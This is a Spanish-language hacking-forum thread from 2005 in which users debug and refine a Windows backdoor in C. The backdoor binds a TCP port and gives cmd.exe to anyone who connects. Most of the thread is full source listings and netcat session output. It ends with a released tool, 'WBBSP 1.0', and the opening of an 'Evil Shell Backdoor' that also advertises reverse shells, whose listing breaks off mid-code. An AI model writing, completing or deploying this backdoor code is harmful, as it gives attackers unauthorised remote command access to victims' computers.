Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: sch3m4 en 15 Agosto 2005, 15:31 pm



Título: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 15:31 pm
Hola, estoy tratando de hacer una backdoor para win que lanze la cmd, pero no sé porqué no funciona. Aquí os dejo el código a ver si podéis ayudarme.

Código:

#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
//start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}

Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar:

Citar
--------------------Configuration: mping - Win32 Debug--------------------
Compiling...
mping.c
C:\lymp\mping.c(75) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *'
C:\lymp\mping.c(75) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6

mping.obj - 0 error(s), 2 warning(s)


Título: Re: Win Backdoor Bind port
Publicado por: P[i] en 15 Agosto 2005, 16:02 pm
 Man solo tienes que cambiar un valor de NULL a 0, keda asi el createprocces, y creo que tendria que ser cmd.exe pero no estoi seguro.


Código:
CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)

   Saludos.

P.D. -> Lo he probado a travas de telnet en win98 llamandole y el backdoor responde bien.
P.D.2 -> Tienes que poner cmd.exe, porke he probado command a secas y da error(ekivalente en win32 a cmd), pero con command.com va bien ( ekivalente en win32 a cmd.exe)


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 16:07 pm
Gracias, con eso se soluciona lo de los warnings al compilar, pero no me da la shell. Estas son las respuestas:

Ejecutando la "Backdoor"
Citar
  • Creando el Socket...OK
  • Esperando cliente...
Ejecutando el NetCat
Citar
D:\>nc -vv localhost 4664
DNS fwd/rev mismatch: apolo != localhost
apolo [127.0.0.1] 4664 (?) open
sent 0, rcvd 0: NOTSOCK

D:\>

Así queda la shell
Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...ERROR
  • Cerrando socket...OK
Press any key to continue

Porqué no funciona?


Título: Re: Win Backdoor Bind port
Publicado por: P[i] en 15 Agosto 2005, 16:20 pm

 Man tienes que kitar -vv keda asi:

Backdoor:
Código:
[+] Creando el Socket...OK
[+] Esperando cliente...

NetCat:
Código:
nc 192.168.1.2 4664
o si no usas router:
Código:
nc 127.0.0.1 4664

Backdoor:
Código:
[+] Creando el Socket...OK
[+] Esperando cliente...OK
[+] Conexion establecida
[+] Lanzando shell...

Microsoft(R) Windows 98
   (C)Copyright Microsoft Corp 1981-1999.

C:\WINDOWS\Escritorio>


Bueno a mi me ba asi, no se ati.
 saludos.


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 16:28 pm
El mismo error:

Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...ERROR
  • Cerrando socket...OK
No creo que las opciones -vv importen, ya que solo es para que te de más información de la conexion.


Título: Re: Win Backdoor Bind port
Publicado por: P[i] en 15 Agosto 2005, 16:41 pm

 Has cambiado cmd por cmd.exe pruba bueno me voy a casa de un amigo luego miro mas chao.
 Saludos.


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 16:46 pm
si ya lo probé. aunque si no se le especifica una extensión, asume que es ".exe". Le quité un comentario en una asignación a la estructura que usa createprocess, aki pongo el source. (A mí no me funciona aún)

Código:
#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}



Título: Re: Win Backdoor Bind port
Publicado por: orphen_nb en 15 Agosto 2005, 18:15 pm
Lo he cambiado un poco fijandome en otra shellcode bind shell hasta que ha funcionado y ha quedado así:

Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/
memset(&start_proc,0,sizeof(start_proc));
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,0), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=INADDR_ANY;
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return 0;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 0;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 0;
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,true,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}
return 0;
}
He puesto WSASocket() en vez de socket... la verdad, no tengo ni idea de por qué no funciona con socket, pero no funciona...
Y el último WSACleanup() que pusiste no deberías haberlo puesto porque si limpias los sockets, el socket por donde se establecía la "conversación" con la shell, desaparece, y con él desaparece también la shell.
También he añadido memset(&start_proc,0,sizeof(start_proc)); porque sin esta línea tampoco funciona, supongo que habrá algunas variables de start_proc inicializadas por defecto con algún valor que inhabilita la shell, y con esto lo inicializamos todo a 0, aunque tampoco se muy bien a que se debe que no funcione sin esto...
Creo que no he modificado nada más...
Saludos


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 18:33 pm
He probado el codigo y no me funciona. Esta vez, me dice que la shell se lanzó, pero se me cierra el programa, y se desconecta el socket. He quitado el ultimo WSAClenaup(), que bobo  ::)

Con he retocado el código (no el que tu posteastes, sino el original) para hacerle algunos cambios, como quitar el WSACleanup y limpiar con memset(), y obtengo este restultado:

Citar
  • Creando el Socket...OK
  • Esperando cliente...OK
  • Conexion establecida
  • Lanzando shell...OKPress any key to continue
Como ya he dicho, no veo la shell por ninguna parte, y cuando muestra esto, el programa se cierra...  :-\

Con el código que pusistes, obtengo el MISMO resultado. Te pongo aquí el codigo retocado aver si te funciona:

Código:
#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

/*
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
*/

ExitProcess(0);
}


Título: Re: Win Backdoor Bind port
Publicado por: orphen_nb en 15 Agosto 2005, 19:29 pm
Pues modificando este ultimo código que has posteado me funciona...
Te pongo el código:
Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

//el puerto para bindear la shell
#define Puerto 4664

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}

/*
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
*/

ExitProcess(0);
}
Pero tambien tienes que linkar la libreria ws2_32 (a lo mejor por eso no te funciona el anterior código que postee...
Simplemente he cambiado socket() por WSASocket() y he puesto #include <winsock2.h> y he linkado esa librería, y me funciona perfectamente... pruebalo tu...


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 19:36 pm
si, cuando posteastes y lo probé linkeé a esa librería. pero no funciona


Título: Re: Win Backdoor Bind port
Publicado por: orphen_nb en 15 Agosto 2005, 19:49 pm
Pues no se por qué no te funciona, a mi los dos códigos que te he pasado me funcionan. Pero te compila sin problemas no? excepto por los warnings...
Por cierto yo lo compilo con dev-c++...


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 19:51 pm
si, me compila bien, sin warnings ni nada. Yo lo compilo con el VC++


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 15 Agosto 2005, 20:30 pm
Según me han comentado, puede ser por el SP2.
No obstante, dime si este codigo te funciona sin modificarle nada:

Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"wsock32")

int main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//Winsock=socket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(4664);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
printf("ERROR");
}else{
printf("OK");
}

ExitProcess(0);
}


Título: Re: Win Backdoor Bind port
Publicado por: orphen_nb en 15 Agosto 2005, 20:51 pm
No, no me funciona, ya te dije que con socket() no funciona (al menos a mi...) sin embargo si lo cambio a
Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
si que me funciona no se por qué  ???, pero sin modificar nada no me funciona...

Sí, puede ser por el SP2 porque yo no lo tengo...


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 16 Agosto 2005, 01:31 am
Entonces ahora te debería de funcionar sin cambiar nada. He añadido unos typecast en los nulls para que no me diera warnings. Puedesdecirme si te funciona sin modificar nada?

Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"ws2_32")

int main()
{

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(4664);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
printf("ERROR");
}else{
printf("OK");
}

ExitProcess(0);
}


Título: Re: Win Backdoor Bind port
Publicado por: orphen_nb en 16 Agosto 2005, 01:44 am
Sí, ahora si me funciona sin ninguna modificación.


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 17 Agosto 2005, 02:09 am
pues aquí dejo el source. Si alguien puede decir si le ha funcionado, y qué Windows es, service pack, etc. Que lo diga y así lo sabremos.

Código:
/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: WBBSP 1.0
Fichero: Win.Backdoor.Bind.Shell.Port.c
Descripcion: Pone un socket a la escucha en un puerto determinado para dar shell
Autor: Lympex
Contacto:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Fecha: 16/08/2005

-::[========================================]::-

C:\>Win.Backdoor.Bind.Shell.Port.exe 5968

#####################################
#    -[ WBBSC 1.0 - by Lympex ]-    #
#-----------------------------------#
# Windows Backdoor Bind Shell Port  #
#-----------------------------------#
# Contacto:                         #
#   + HomePage: http://l-bytes.tk   #
#   + Mail: lympex[at]gmail[dot]com #
#####################################

[+] Creando el Socket...OK
[+] Esperando conexion por el puerto 5968...OK
[+] Lanzando shell...OK

C:\>

------------------------------------------------

D:\>nc.exe localhost 5968

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

-::[========================================]::-

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

Nota: Posible fallo al dar shell en Windows XP Professional SP2
*/

#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"ws2_32")

int main(int argc, char *argv[])
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/
short Puerto;

printf("\n#####################################");
printf("\n#    -[ WBBSC 1.0 - by Lympex ]-    #");
printf("\n#-----------------------------------#");
printf("\n# Windows Backdoor Bind Shell Port  #");
printf("\n#-----------------------------------#");
printf("\n# Contacto:                         #");
printf("\n#   + HomePage: http://l-bytes.tk   #");
printf("\n#   + Mail: lympex[at]gmail[dot]com #");
printf("\n#####################################\n");

//comprobamos los argumentos
if(argc<2 || argc>2)
{
printf("\n[+] Uso: %s puerto",argv[0]);
printf("\n    + Ejemplo: %s 5968\n",argv[0]);
ExitProcess(0);
}
Puerto=atoi(argv[1]);

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando conexion por el puerto %d...",Puerto);
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
printf("ERROR\n");
}else{
printf("OK\n");
}

ExitProcess(0);
}


Título: Re: Win Backdoor Bind port
Publicado por: Gangrel en 18 Agosto 2005, 18:58 pm
Te sacaste un 10 compañero, lo e probado en Xp profesional SP2 y me corre de maravilla, compilado con DevC++ 4.9.9.2


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 18 Agosto 2005, 19:08 pm
voy a probar compilandolo con Dev C++ a ver si es por el VC++  :o


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 18 Agosto 2005, 23:28 pm
Gracias Gangrel. Espero que esto te guste y os siga funcionando porque aún no lo he compilado con Dev C++  ::)
Mejorando:

Código:
/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: Evil Shell Backdoor
Version: 1.0.3
Fichero: Evil.Shell.Backdoor_1.0.3.c
Descripcion: Devuelve Bind Shell por el puerto que se le indique, o reverse shell al
Ip:Puerto que se le indique
Autor: Lympex
Contacto:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Fecha: 17/08/2005

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

Nota: Posible fallo al dar shell en Windows XP Professional SP2
*/

#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"ws2_32")

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num);

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/

int main(int argc, char *argv[])
{
/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port);
/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
